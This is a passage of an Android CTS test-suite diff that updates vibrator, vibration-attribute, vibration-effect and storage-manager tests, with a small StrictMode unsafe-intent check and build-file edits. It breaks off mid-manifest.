+        Intent intent = new Intent(receiverAction);
+        Intent innerIntent = new Intent("android.os.cts.TEST_BROADCAST_ACTION");
+        intent.putExtra(IntentLaunchReceiver.INNER_INTENT_KEY, innerIntent);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.sendBroadcast(intent));
+    }
+
+    private Context createWindowContext() {
+        final Display display = getContext().getSystemService(DisplayManager.class)
+                .getDisplay(DEFAULT_DISPLAY);
+        return getContext().createDisplayContext(display)
+                .createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
     }
 
     private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
diff --git a/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java b/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java
index f6fb8f3..966780b 100644
--- a/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java
@@ -32,9 +32,7 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class VibrationAttributesTest {
-    private static final int TEST_USAGE_UNKNOWN = AudioAttributes.USAGE_UNKNOWN;
     private static final int TEST_USAGE = AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY;
-    private static final int TEST_USAGE2 = AudioAttributes.USAGE_NOTIFICATION;
 
     private static final int TEST_AMPLITUDE = 100;
     private static final long TEST_TIMING_LONG = 5000;
@@ -56,34 +54,68 @@
 
     @Test
     public void testCreate() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+        AudioAttributes tmp = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_ALARM)
+                .build();
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
-        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_COMMUNICATION_REQUEST);
+        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_ALARM);
         assertEquals(attr.getUsageClass(), VibrationAttributes.USAGE_CLASS_ALARM);
         assertEquals(attr.getFlags(), 0);
-        assertEquals(attr.getAudioAttributes(), tmp);
+        assertEquals(attr.getAudioUsage(), AudioAttributes.USAGE_ALARM);
+    }
+
+    @Test
+    public void testGetAudioUsageReturnOriginalUsage() {
+        AudioAttributes tmp = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY)
+                .build();
+        VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
+        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_COMMUNICATION_REQUEST);
+        assertEquals(attr.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY);
+    }
+
+    @Test
+    public void testGetAudioUsageUnknownReturnsBasedOnVibrationUsage() {
+        VibrationAttributes attr = new VibrationAttributes.Builder()
+                .setUsage(VibrationAttributes.USAGE_NOTIFICATION).build();
+        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_NOTIFICATION);
+        assertEquals(attr.getAudioUsage(), AudioAttributes.USAGE_NOTIFICATION);
     }
 
     @Test
     public void testEquals() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+        AudioAttributes tmp = createAudioAttributes(TEST_USAGE);
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
         VibrationAttributes attr2 = new VibrationAttributes.Builder(tmp, null).build();
         assertEquals(attr, attr2);
     }
 
     @Test
-    public void testNotEqualsDifferentUsage() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+    public void testNotEqualsDifferentAudioUsage() {
+        AudioAttributes tmp = createAudioAttributes(
+                AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_INSTANT);
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
-        AudioAttributes tmp2 = new AudioAttributes.Builder().setUsage(TEST_USAGE2).build();
+        AudioAttributes tmp2 = createAudioAttributes(
+                AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED);
         VibrationAttributes attr2 = new VibrationAttributes.Builder(tmp2, null).build();
+        assertEquals(attr.getUsage(), attr2.getUsage());
+        assertNotEquals(attr, attr2);
+    }
+
+    @Test
+    public void testNotEqualsDifferentVibrationUsage() {
+        VibrationAttributes attr = new VibrationAttributes.Builder()
+                .setUsage(VibrationAttributes.USAGE_TOUCH)
+                .build();
+        VibrationAttributes attr2 = new VibrationAttributes.Builder()
+                .setUsage(VibrationAttributes.USAGE_NOTIFICATION)
+                .build();
         assertNotEquals(attr, attr2);
     }
 
     @Test
     public void testNotEqualsDifferentFlags() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+        AudioAttributes tmp = createAudioAttributes(TEST_USAGE);
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
         VibrationAttributes attr2 = new VibrationAttributes.Builder(tmp, null).setFlags(1, 1)
                 .build();
@@ -92,7 +124,7 @@
 
     @Test
     public void testHeuristics() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE_UNKNOWN).build();
+        AudioAttributes tmp = createAudioAttributes(AudioAttributes.USAGE_UNKNOWN);
         VibrationAttributes oneShotLong =
             new VibrationAttributes.Builder(tmp, TEST_ONE_SHOT_LONG).build();
         VibrationAttributes oneShotShort =
@@ -104,10 +136,19 @@
         VibrationAttributes prebaked =
             new VibrationAttributes.Builder(tmp, TEST_PREBAKED).build();
         assertEquals(oneShotShort.getUsage(), VibrationAttributes.USAGE_TOUCH);
+        assertEquals(oneShotShort.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_SONIFICATION);
         assertEquals(waveformShort.getUsage(), VibrationAttributes.USAGE_TOUCH);
+        assertEquals(waveformShort.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_SONIFICATION);
         assertEquals(oneShotLong.getUsage(), VibrationAttributes.USAGE_UNKNOWN);
+        assertEquals(oneShotLong.getAudioUsage(), AudioAttributes.USAGE_UNKNOWN);
         assertEquals(waveformLong.getUsage(), VibrationAttributes.USAGE_UNKNOWN);
+        assertEquals(waveformLong.getAudioUsage(), AudioAttributes.USAGE_UNKNOWN);
         assertEquals(prebaked.getUsage(), VibrationAttributes.USAGE_TOUCH);
+        assertEquals(prebaked.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_SONIFICATION);
+    }
+
+    private static AudioAttributes createAudioAttributes(int usage) {
+        return new AudioAttributes.Builder().setUsage(usage).build();
     }
 }
 
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 66a11d4..66b0ca3 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.fail;
 
 import android.os.Parcel;
@@ -371,6 +370,15 @@
     }
 
     @Test
+    public void testParcelingComposed() {
+        Parcel p = Parcel.obtain();
+        TEST_COMPOSED.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        VibrationEffect parceledEffect = VibrationEffect.CREATOR.createFromParcel(p);
+        assertEquals(TEST_COMPOSED, parceledEffect);
+    }
+
+    @Test
     public void testDescribeContents() {
         TEST_ONE_SHOT.describeContents();
         TEST_WAVEFORM.describeContents();
@@ -380,31 +388,6 @@
     }
 
     @Test
-    public void testSetStrength() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        int[] strengths = {
-                VibrationEffect.EFFECT_STRENGTH_LIGHT,
-                VibrationEffect.EFFECT_STRENGTH_MEDIUM,
-                VibrationEffect.EFFECT_STRENGTH_STRONG
-        };
-        for (int strength : strengths) {
-            effect.setEffectStrength(strength);
-            assertEquals(strength, effect.getEffectStrength());
-        }
-    }
-
-    @Test
-    public void testSetStrengthInvalid() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        try {
-            effect.setEffectStrength(239017);
-            fail("Illegal strength, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) {}
-    }
-
-    @Test
     public void testStartComposition() {
         VibrationEffect.Composition first = VibrationEffect.startComposition();
         VibrationEffect.Composition other = VibrationEffect.startComposition();
diff --git a/tests/tests/os/src/android/os/cts/VibratorManagerTest.java b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
new file mode 100644
index 0000000..331e5d5
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.os.CombinedVibrationEffect;
+import android.os.SystemClock;
+import android.os.VibrationAttributes;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.os.VibratorManager;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class VibratorManagerTest {
+    @Rule
+    public ActivityTestRule<SimpleTestActivity> mActivityRule = new ActivityTestRule<>(
+            SimpleTestActivity.class);
+
+    @Rule
+    public final AdoptShellPermissionsRule mAdoptShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    android.Manifest.permission.ACCESS_VIBRATOR_STATE);
+    
+    @Rule
+    public final MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+    private static final VibrationAttributes VIBRATION_ATTRIBUTES =
+            new VibrationAttributes.Builder()
+                    .setUsage(VibrationAttributes.USAGE_TOUCH)
+                    .build();
+    private static final long VIBRATION_TIMEOUT_MILLIS = 200;
+
+    private VibratorManager mVibratorManager;
+    @Mock
+    private OnVibratorStateChangedListener mListener1;
+    @Mock
+    private OnVibratorStateChangedListener mListener2;
+
+    @Before
+    public void setUp() {
+        mVibratorManager =
+                InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                        VibratorManager.class);
+    }
+
+    @Test
+    public void testCancel() {
+        mVibratorManager.vibrate(CombinedVibrationEffect.createSynced(
+                VibrationEffect.createOneShot(1000, VibrationEffect.DEFAULT_AMPLITUDE)));
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::allVibrating);
+
+        mVibratorManager.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::noneVibrating);
+    }
+
+    @Test
+    public void testVibrateOneShot() {
+        VibrationEffect oneShot =
+                VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
+        mVibratorManager.vibrate(CombinedVibrationEffect.createSynced(oneShot));
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::allVibrating);
+
+        SystemClock.sleep(150);
+        assertTrue(noneVibrating());
+
+        oneShot = VibrationEffect.createOneShot(500, 255 /* Max amplitude */);
+        mVibratorManager.vibrate(CombinedVibrationEffect.createSynced(oneShot));
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::allVibrating);
+
+        mVibratorManager.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::noneVibrating);
+
+        oneShot = VibrationEffect.createOneShot(100, 1 /* Min amplitude */);
+        mVibratorManager.vibrate(CombinedVibrationEffect.createSynced(oneShot),
+                VIBRATION_ATTRIBUTES);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::allVibrating);
+    }
+
+    @Test
+    public void testVibrateWaveform() {
+        final long[] timings = new long[]{100, 200, 300, 400, 500};
+        final int[] amplitudes = new int[]{64, 128, 255, 128, 64};
+        VibrationEffect waveform = VibrationEffect.createWaveform(timings, amplitudes, -1);
+        mVibratorManager.vibrate(CombinedVibrationEffect.createSynced(waveform));
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::allVibrating);
+
+        SystemClock.sleep(1500);
+        assertTrue(noneVibrating());
+
+        waveform = VibrationEffect.createWaveform(timings, amplitudes, 0);
+        mVibratorManager.vibrate(CombinedVibrationEffect.createSynced(waveform));
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::allVibrating);
+
+        SystemClock.sleep(2000);
+        assertTrue(allVibrating());
+
+        mVibratorManager.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::noneVibrating);
+    }
+
+    @Test
+    public void testGetVibratorIds() {
+        // Just make sure it doesn't crash or return null when this is called; we don't really have
+        // a way to test which vibrators will be returned.
+        assertNotNull(mVibratorManager.getVibratorIds());
+    }
+
+    @Test
+    public void testGetDefaultVibrator() {
+        Vibrator systemVibrator =
+                InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                        Vibrator.class);
+        assertSame(systemVibrator, mVibratorManager.getDefaultVibrator());
+    }
+
+    @Test
+    public void testVibrator() {
+        for (int vibratorId : mVibratorManager.getVibratorIds()) {
+            Vibrator vibrator = mVibratorManager.getVibrator(vibratorId);
+            assertNotNull(vibrator);
+            assertEquals(vibratorId, vibrator.getId());
+            assertTrue(vibrator.hasVibrator());
+
+            // Just check these methods will not crash.
+            // We don't really have a way to test if the device supports each effect or not.
+            vibrator.hasAmplitudeControl();
+
+            // Just check these methods return valid support arrays.
+            // We don't really have a way to test if the device supports each effect or not.
+            assertEquals(2, vibrator.areEffectsSupported(
+                    VibrationEffect.EFFECT_TICK, VibrationEffect.EFFECT_CLICK).length);
+            assertEquals(2, vibrator.arePrimitivesSupported(
+                    VibrationEffect.Composition.PRIMITIVE_CLICK,
+                    VibrationEffect.Composition.PRIMITIVE_TICK).length);
+
+            vibrator.vibrate(VibrationEffect.createOneShot(500, VibrationEffect.DEFAULT_AMPLITUDE));
+            PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, () -> vibrator.isVibrating());
+
+            vibrator.cancel();
+            PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, () -> !vibrator.isVibrating());
+        }
+    }
+
+    private boolean allVibrating() {
+        for (int vibratorId : mVibratorManager.getVibratorIds()) {
+            if (!mVibratorManager.getVibrator(vibratorId).isVibrating()) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private boolean noneVibrating() {
+        for (int vibratorId : mVibratorManager.getVibratorIds()) {
+            if (mVibratorManager.getVibrator(vibratorId).isVibrating()) {
+                return false;
+            }
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/VibratorTest.java b/tests/tests/os/src/android/os/cts/VibratorTest.java
index 278bea3..5c295e0 100644
--- a/tests/tests/os/src/android/os/cts/VibratorTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorTest.java
@@ -19,29 +19,35 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.anyBoolean;
 import static org.mockito.Mockito.reset;
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
-import android.app.UiAutomation;
 import android.media.AudioAttributes;
-import android.os.cts.SimpleTestActivity;
 import android.os.SystemClock;
 import android.os.VibrationEffect;
 import android.os.Vibrator;
 import android.os.Vibrator.OnVibratorStateChangedListener;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.PollingCheck;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.Mock;
 import org.mockito.MockitoAnnotations;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.util.concurrent.Executors;
 
 @RunWith(AndroidJUnit4.class)
 @LargeTest
@@ -50,30 +56,40 @@
     public ActivityTestRule<SimpleTestActivity> mActivityRule = new ActivityTestRule<>(
             SimpleTestActivity.class);
 
+    @Rule
+    public final AdoptShellPermissionsRule mAdoptShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    android.Manifest.permission.ACCESS_VIBRATOR_STATE);
+
+    @Rule
+    public final MockitoRule mMockitoRule = MockitoJUnit.rule();
+
     private static final AudioAttributes AUDIO_ATTRIBUTES =
             new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA)
-                .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
-                .build();
+                    .setUsage(AudioAttributes.USAGE_MEDIA)
+                    .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+                    .build();
     private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+    private static final long VIBRATION_TIMEOUT_MILLIS = 200;
 
     private Vibrator mVibrator;
-    @Mock
-    private OnVibratorStateChangedListener mListener1;
-    @Mock
-    private OnVibratorStateChangedListener mListener2;
+    @Mock private OnVibratorStateChangedListener mListener1;
+    @Mock private OnVibratorStateChangedListener mListener2;
 
     @Before
     public void setUp() {
-        MockitoAnnotations.initMocks(this);
-        mVibrator = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
+        mVibrator = InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                Vibrator.class);
     }
 
     @Test
     public void testVibratorCancel() {
         mVibrator.vibrate(1000);
-        sleep(500);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
         mVibrator.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isNotVibrating);
     }
 
     @Test
@@ -89,45 +105,48 @@
 
     @Test
     public void testVibrateMultiThread() {
-        new Thread(new Runnable() {
-            public void run() {
-                try {
-                    mVibrator.vibrate(100);
-                } catch (Exception e) {
-                    fail("MultiThread fail1");
-                }
+        new Thread(() -> {
+            try {
+                mVibrator.vibrate(500);
+            } catch (Exception e) {
+                fail("MultiThread fail1");
             }
         }).start();
-        new Thread(new Runnable() {
-            public void run() {
-                try {
-                    // This test only get two threads to run vibrator at the same time
-                    // for a functional test,
-                    // but it can not verify if the second thread get the precedence.
-                    mVibrator.vibrate(1000);
-                } catch (Exception e) {
-                    fail("MultiThread fail2");
-                }
+        new Thread(() -> {
+            try {
+                // This test only get two threads to run vibrator at the same time for a functional
+                // test, but it can not verify if the second thread get the precedence.
+                mVibrator.vibrate(1000);
+            } catch (Exception e) {
+                fail("MultiThread fail2");
             }
         }).start();
-        sleep(1500);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
+        SystemClock.sleep(1500);
+        assertTrue(isNotVibrating());
     }
 
     @Test
     public void testVibrateOneShot() {
         VibrationEffect oneShot =
-                VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
+                VibrationEffect.createOneShot(300, VibrationEffect.DEFAULT_AMPLITUDE);
         mVibrator.vibrate(oneShot);
-        sleep(100);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
+        SystemClock.sleep(350);
+        assertTrue(isNotVibrating());
 
         oneShot = VibrationEffect.createOneShot(500, 255 /* Max amplitude */);
         mVibrator.vibrate(oneShot);
-        sleep(100);
-        mVibrator.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
 
-        oneShot = VibrationEffect.createOneShot(100, 1 /* Min amplitude */);
+        mVibrator.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isNotVibrating);
+
+        oneShot = VibrationEffect.createOneShot(300, 1 /* Min amplitude */);
         mVibrator.vibrate(oneShot, AUDIO_ATTRIBUTES);
-        sleep(100);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
     }
 
     @Test
@@ -136,12 +155,33 @@
         final int[] amplitudes = new int[] {64, 128, 255, 128, 64};
         VibrationEffect waveform = VibrationEffect.createWaveform(timings, amplitudes, -1);
         mVibrator.vibrate(waveform);
-        sleep(1500);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
+        SystemClock.sleep(1500);
+        assertTrue(isNotVibrating());
 
         waveform = VibrationEffect.createWaveform(timings, amplitudes, 0);
         mVibrator.vibrate(waveform, AUDIO_ATTRIBUTES);
-        sleep(2000);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
+        SystemClock.sleep(2000);
+        assertTrue(isVibrating());
+
         mVibrator.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isNotVibrating);
+    }
+
+    @Test
+    public void testGetId() {
+        // The system vibrator should not be mapped to any physical vibrator and use a default id.
+        assertEquals(-1, mVibrator.getId());
+    }
+
+    @Test
+    public void testHasVibrator() {
+        // Just make sure it doesn't crash when this is called; we don't really have a way to test
+        // if the device has vibrator or not.
+        mVibrator.hasVibrator();
     }
 
     @Test
@@ -198,44 +238,32 @@
         assertTrue(mVibrator.areAllPrimitivesSupported());
     }
 
-    /**
-     * For devices with vibrator we assert the IsVibrating state, for devices without vibrator just
-     * ensure it won't crash with IsVibrating call.
-     */
-    private void assertIsVibrating(boolean expected) {
-        final boolean isVibrating = mVibrator.isVibrating();
-        if (mVibrator.hasVibrator()) {
-            assertEquals(isVibrating, expected);
-        }
-    }
-
     @Test
     public void testVibratorIsVibrating() {
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity("android.permission.ACCESS_VIBRATOR_STATE");
-        assertIsVibrating(false);
+        assertTrue(isNotVibrating());
+
         mVibrator.vibrate(1000);
-        assertIsVibrating(true);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
         mVibrator.cancel();
-        assertIsVibrating(false);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isNotVibrating);
     }
 
     @Test
     public void testVibratorVibratesNoLongerThanDuration() {
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity("android.permission.ACCESS_VIBRATOR_STATE");
-        assertIsVibrating(false);
-        mVibrator.vibrate(100);
-        SystemClock.sleep(150);
-        assertIsVibrating(false);
+        assertTrue(isNotVibrating());
+
+        mVibrator.vibrate(300);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
+        SystemClock.sleep(350);
+        assertTrue(isNotVibrating());
     }
 
     @Test
-    public void testVibratorStateCallback() throws Exception {
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity("android.permission.ACCESS_VIBRATOR_STATE");
-        // Add listener1
-        mVibrator.addVibratorStateListener(mListener1);
+    public void testVibratorStateCallback() {
+        // Add listener1 on executor
+        mVibrator.addVibratorStateListener(Executors.newSingleThreadExecutor(), mListener1);
         // Add listener2 on main thread.
         mVibrator.addVibratorStateListener(mListener2);
         verify(mListener1, timeout(CALLBACK_TIMEOUT_MILLIS)
@@ -244,26 +272,42 @@
                 .times(1)).onVibratorStateChanged(false);
 
         mVibrator.vibrate(1000);
-        assertIsVibrating(true);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
 
         verify(mListener1, timeout(CALLBACK_TIMEOUT_MILLIS)
                 .times(1)).onVibratorStateChanged(true);
         verify(mListener2, timeout(CALLBACK_TIMEOUT_MILLIS)
                 .times(1)).onVibratorStateChanged(true);
 
-        reset(mListener1);
-        reset(mListener2);
-        // Remove listener1
+        verify(mListener1, timeout(CALLBACK_TIMEOUT_MILLIS)
+                .times(1)).onVibratorStateChanged(false);
+        verify(mListener2, timeout(CALLBACK_TIMEOUT_MILLIS)
+                .times(1)).onVibratorStateChanged(false);
+
+        assertTrue(isVibrating());
+        mVibrator.cancel();
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isNotVibrating);
+
+        // Remove listener1 & listener2
         mVibrator.removeVibratorStateListener(mListener1);
         mVibrator.removeVibratorStateListener(mListener2);
+        reset(mListener1);
+        reset(mListener2);
 
-        mVibrator.cancel();
-        assertIsVibrating(false);
+        mVibrator.vibrate(1000);
+        PollingCheck.waitFor(VIBRATION_TIMEOUT_MILLIS, this::isVibrating);
+
+        verify(mListener1, timeout(CALLBACK_TIMEOUT_MILLIS).times(0))
+                .onVibratorStateChanged(anyBoolean());
+        verify(mListener2, timeout(CALLBACK_TIMEOUT_MILLIS).times(0))
+                .onVibratorStateChanged(anyBoolean());
     }
 
-    private static void sleep(long millis) {
-        try {
-            Thread.sleep(millis);
-        } catch (InterruptedException ignored) { }
+    private boolean isVibrating() {
+        return !mVibrator.hasVibrator() || mVibrator.isVibrating();
+    }
+
+    private boolean isNotVibrating() {
+        return !mVibrator.hasVibrator() || !mVibrator.isVibrating();
     }
 }
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index b47d553..d813eb2 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -213,15 +213,18 @@
         assertEquals("Wrong state", Environment.MEDIA_MOUNTED, volume.getState());
 
         // Tests properties that depend on storage type (emulated or physical)
-        final String uuid = volume.getUuid();
+        final String fsUuid = volume.getUuid();
+        final UUID uuid = volume.getStorageUuid();
         final boolean removable = volume.isRemovable();
         final boolean emulated = volume.isEmulated();
         if (emulated) {
             assertFalse("Should not be removable", removable);
-            assertNull("Should not have uuid", uuid);
+            assertNull("Should not have fsUuid", fsUuid);
+            assertEquals("Should have uuid_default", StorageManager.UUID_DEFAULT, uuid);
         } else {
             assertTrue("Should be removable", removable);
-            assertNotNull("Should have uuid", uuid);
+            assertNotNull("Should have fsUuid", fsUuid);
+            assertNull("Should not have uuid", uuid);
         }
 
         // Tests path - although it's not a public API, sm.getPrimaryStorageVolume()
@@ -770,6 +773,30 @@
         }
     }
 
+    public void testFatUuidHandling() throws Exception {
+        assertEquals(UUID.fromString("fafafafa-fafa-5afa-8afa-fafa01234567"),
+                StorageManager.convert("0123-4567"));
+        assertEquals(UUID.fromString("fafafafa-fafa-5afa-8afa-fafadeadbeef"),
+                StorageManager.convert("DEAD-BEEF"));
+        assertEquals(UUID.fromString("fafafafa-fafa-5afa-8afa-fafadeadbeef"),
+                StorageManager.convert("dead-BEEF"));
+
+        try {
+            StorageManager.convert("DEADBEEF");
+            fail();
+        } catch (IllegalArgumentException expected) {}
+
+        try {
+            StorageManager.convert("DEAD-BEEF0");
+            fail();
+        } catch (IllegalArgumentException expected) {}
+
+        assertEquals("0123-4567",
+                StorageManager.convert(UUID.fromString("fafafafa-fafa-5afa-8afa-fafa01234567")));
+        assertEquals("DEAD-BEEF",
+                StorageManager.convert(UUID.fromString("fafafafa-fafa-5afa-8afa-fafadeadbeef")));
+    }
+
     private void assertStorageVolumesEquals(StorageVolume volume, StorageVolume clone)
             throws Exception {
         // Asserts equals() method.
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.bp b/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
index 40f85c4..465d614 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAdminPackageInstallerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
index 3867e9f..4cdcdaa 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?> <!-- Copyright (C) 2017 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -14,35 +15,37 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
